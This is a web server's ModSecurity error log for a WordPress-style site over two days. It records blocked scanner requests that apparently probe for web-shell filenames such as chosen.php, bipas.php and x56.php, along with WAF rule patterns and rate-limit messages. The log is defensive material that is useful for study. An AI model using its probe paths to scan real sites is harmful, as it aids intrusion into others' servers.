[Fri Jan 02 05:55:59.959347 2026] [:error] [pid 63098:tid 63125] [client 4.241.192.15:5744] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVbtb8ez9k78gUs48kqTaAAAABI"]
[Fri Jan 02 05:56:00.321277 2026] [:error] [pid 63208:tid 63224] [client 4.241.192.15:5793] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aVbtcHKLI9INGPLzfnd_xAAAAM0"]
[Fri Jan 02 05:56:00.661005 2026] [:error] [pid 63208:tid 63234] [client 4.241.192.15:5572] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aVbtcHKLI9INGPLzfnd_xgAAANc"]
[Fri Jan 02 05:56:01.397035 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:5981] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aVbtccmCZokRPYUhzvgYBgAAAFI"]
[Fri Jan 02 05:56:03.363326 2026] [:error] [pid 63098:tid 63117] [client 4.241.192.15:5818] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aVbtc8ez9k78gUs48kqTbgAAAAo"]
[Fri Jan 02 05:56:04.937434 2026] [:error] [pid 63099:tid 63151] [client 4.241.192.15:6072] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aVbtdMmCZokRPYUhzvgYBwAAAFE"]
[Fri Jan 02 05:56:05.924438 2026] [:error] [pid 63099:tid 63157] [client 4.241.192.15:5734] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aVbtdcmCZokRPYUhzvgYCQAAAFc"]
[Fri Jan 02 05:56:07.032038 2026] [:error] [pid 63208:tid 63235] [client 4.241.192.15:5736] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aVbtd3KLI9INGPLzfnd_zQAAANg"]
[Fri Jan 02 05:56:08.682892 2026] [:error] [pid 63100:tid 63177] [client 4.241.192.15:5702] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aVbteDuUXUKd3KTnKl-YPQAAAJA"]
[Fri Jan 02 05:56:09.891924 2026] [:error] [pid 63098:tid 63115] [client 4.241.192.15:5815] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVbtecez9k78gUs48kqTeAAAAAg"]
[Fri Jan 02 05:56:10.944858 2026] [:error] [pid 63099:tid 63140] [client 4.241.192.15:5646] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVbtesmCZokRPYUhzvgYDgAAAEY"]
[Fri Jan 02 05:56:11.710890 2026] [:error] [pid 63099:tid 63155] [client 4.241.192.15:5805] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVbte8mCZokRPYUhzvgYEQAAAFU"]
[Fri Jan 02 05:56:12.704090 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:5713] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aVbtfMmCZokRPYUhzvgYFQAAAFI"]
[Fri Jan 02 05:56:15.621688 2026] [:error] [pid 63099:tid 63153] [client 4.241.192.15:5788] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aVbtf8mCZokRPYUhzvgYGgAAAFM"]
[Fri Jan 02 05:56:18.624598 2026] [:error] [pid 63099:tid 63138] [client 4.241.192.15:5735] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aVbtgsmCZokRPYUhzvgYIgAAAEQ"]
[Fri Jan 02 05:56:19.551434 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:5709] [client 4.241.192.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/index.php"] [unique_id "aVbtg8mCZokRPYUhzvgYIwAAAFI"]
[Fri Jan 02 05:56:21.682407 2026] [:error] [pid 63099:tid 63153] [client 4.241.192.15:5808] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aVbthcmCZokRPYUhzvgYKgAAAFM"]
[Fri Jan 02 05:56:22.512020 2026] [:error] [pid 63100:tid 63162] [client 4.241.192.15:5699] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aVbthjuUXUKd3KTnKl-YSQAAAIE"]
[Fri Jan 02 05:56:23.031169 2026] [:error] [pid 63100:tid 63172] [client 4.241.192.15:5656] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aVbthzuUXUKd3KTnKl-YSgAAAIs"]
[Fri Jan 02 05:56:23.339066 2026] [:error] [pid 63100:tid 63183] [client 4.241.192.15:5742] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aVbthzuUXUKd3KTnKl-YSwAAAJY"]
[Fri Jan 02 05:56:23.960502 2026] [:error] [pid 63208:tid 63229] [client 4.241.192.15:5787] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aVbth3KLI9INGPLzfnd_4QAAANI"]
[Fri Jan 02 05:56:24.244673 2026] [:error] [pid 63208:tid 63232] [client 4.241.192.15:5728] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aVbtiHKLI9INGPLzfnd_4gAAANU"]
[Fri Jan 02 05:56:24.777740 2026] [:error] [pid 63098:tid 63123] [client 4.241.192.15:5710] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aVbtiMez9k78gUs48kqTlAAAABA"]
[Fri Jan 02 05:56:25.228119 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:5711] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aVbtiXKLI9INGPLzfnd_5gAAAMM"]
[Fri Jan 02 05:56:26.029460 2026] [:error] [pid 63098:tid 63110] [client 4.241.192.15:5720] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aVbtisez9k78gUs48kqTlgAAAAM"]
[Fri Jan 02 05:56:26.593484 2026] [:error] [pid 63208:tid 63216] [client 4.241.192.15:5724] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aVbtinKLI9INGPLzfnd_6AAAAMU"]
[Fri Jan 02 05:56:27.255913 2026] [:error] [pid 63208:tid 63213] [client 4.241.192.15:5810] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aVbti3KLI9INGPLzfnd_6wAAAMI"]
[Fri Jan 02 05:56:28.417314 2026] [:error] [pid 63208:tid 63224] [client 4.241.192.15:5673] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aVbtjHKLI9INGPLzfnd_7gAAAM0"]
[Fri Jan 02 05:56:29.616185 2026] [:error] [pid 63100:tid 63161] [client 4.241.192.15:5812] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aVbtjTuUXUKd3KTnKl-YUAAAAIA"]
[Fri Jan 02 05:56:30.537303 2026] [:error] [pid 63208:tid 63230] [client 4.241.192.15:5641] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aVbtjnKLI9INGPLzfnd_9AAAANM"]
[Fri Jan 02 05:56:31.336961 2026] [:error] [pid 63208:tid 63221] [client 4.241.192.15:5655] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aVbtj3KLI9INGPLzfnd_-AAAAMo"]
[Fri Jan 02 05:56:31.931381 2026] [:error] [pid 63098:tid 63124] [client 4.241.192.15:5687] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aVbtj8ez9k78gUs48kqTmwAAABE"]
[Fri Jan 02 05:56:33.302151 2026] [:error] [pid 63099:tid 63146] [client 4.241.192.15:5659] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aVbtkcmCZokRPYUhzvgYMwAAAEw"]
[Fri Jan 02 05:56:34.049219 2026] [:error] [pid 63100:tid 63168] [client 4.241.192.15:5592] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aVbtkjuUXUKd3KTnKl-YUwAAAIc"]
[Fri Jan 02 05:56:34.852733 2026] [:error] [pid 63208:tid 63211] [client 4.241.192.15:5960] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aVbtknKLI9INGPLzfnd__wAAAMA"]
[Fri Jan 02 05:56:36.685863 2026] [:error] [pid 63100:tid 63162] [client 4.241.192.15:5769] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs18.php"] [unique_id "aVbtlDuUXUKd3KTnKl-YVwAAAIE"]
[Fri Jan 02 05:56:37.773118 2026] [:error] [pid 63098:tid 63115] [client 4.241.192.15:6070] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/claa.php"] [unique_id "aVbtlcez9k78gUs48kqTpgAAAAg"]
[Fri Jan 02 05:56:38.783583 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:5714] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/claa.php"] [unique_id "aVbtlnKLI9INGPLzfneADQAAAMM"]
[Fri Jan 02 05:56:39.197205 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:5683] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/claa.php"] [unique_id "aVbtl8mCZokRPYUhzvgYQgAAAFI"]
[Fri Jan 02 05:56:40.556265 2026] [:error] [pid 63098:tid 63108] [client 4.241.192.15:5750] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/claa.php"] [unique_id "aVbtmMez9k78gUs48kqTsAAAAAE"]
[Fri Jan 02 08:21:30.903053 2026] [:error] [pid 63099:tid 63135] [client 191.177.191.213:16194] [client 191.177.191.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.177.191.213, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aVcPismCZokRPYUhzvhMTwAAAEE"]
[Fri Jan 02 21:01:08.359778 2026] [:error] [pid 63100:tid 63174] [client 101.91.148.219:44207] [client 101.91.148.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVfBlDuUXUKd3KTnKl9OggAAAI0"]
[Sat Jan 03 03:21:02.786607 2026] [:error] [pid 36689:tid 36704] [client 106.227.49.113:39881] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVganuoVwePWy3DYWT6UYgAAAAs"]
[Sat Jan 03 03:37:21.925623 2026] [:error] [pid 2083:tid 2109] [client 4.194.208.111:18056] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aVgecTVlR_BmlMPnhV6e_wAAANg"]
[Sat Jan 03 03:37:22.227859 2026] [:error] [pid 1930:tid 1971] [client 4.194.208.111:18153] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aVgecpP-6mqhfUDa89y8TAAAAEU"]
[Sat Jan 03 03:37:22.739100 2026] [:error] [pid 1931:tid 1993] [client 4.194.208.111:18132] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aVgech8Tyw7ZoIdXlcbc1wAAAIA"]
[Sat Jan 03 03:37:23.086760 2026] [:error] [pid 1930:tid 1981] [client 4.194.208.111:18163] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aVgec5P-6mqhfUDa89y8TQAAAE8"]
[Sat Jan 03 03:37:23.370469 2026] [:error] [pid 1929:tid 1960] [client 4.194.208.111:18144] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aVgec-cFqdpu6TNsuWqzlQAAABY"]
[Sat Jan 03 03:37:23.676251 2026] [:error] [pid 1929:tid 1952] [client 4.194.208.111:18138] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aVgec-cFqdpu6TNsuWqzlgAAAA4"]
[Sat Jan 03 03:37:23.906659 2026] [:error] [pid 1931:tid 2032] [client 4.194.208.111:18074] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aVgecx8Tyw7ZoIdXlcbc2QAAAIg"]
[Sat Jan 03 03:37:24.259081 2026] [:error] [pid 1929:tid 1961] [client 4.194.208.111:18158] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aVgedOcFqdpu6TNsuWqzmQAAABc"]
[Sat Jan 03 03:37:24.615200 2026] [:error] [pid 1931:tid 2027] [client 4.194.208.111:18151] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aVgedB8Tyw7ZoIdXlcbc2gAAAIQ"]
[Sat Jan 03 03:37:24.906701 2026] [:error] [pid 1929:tid 1938] [client 4.194.208.111:18116] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aVgedOcFqdpu6TNsuWqzmwAAAAA"]
[Sat Jan 03 03:37:25.374919 2026] [:error] [pid 2083:tid 2107] [client 4.194.208.111:18159] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aVgedTVlR_BmlMPnhV6fAgAAANY"]
[Sat Jan 03 03:37:25.757248 2026] [:error] [pid 1930:tid 1985] [client 4.194.208.111:18123] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aVgedZP-6mqhfUDa89y8VAAAAFM"]
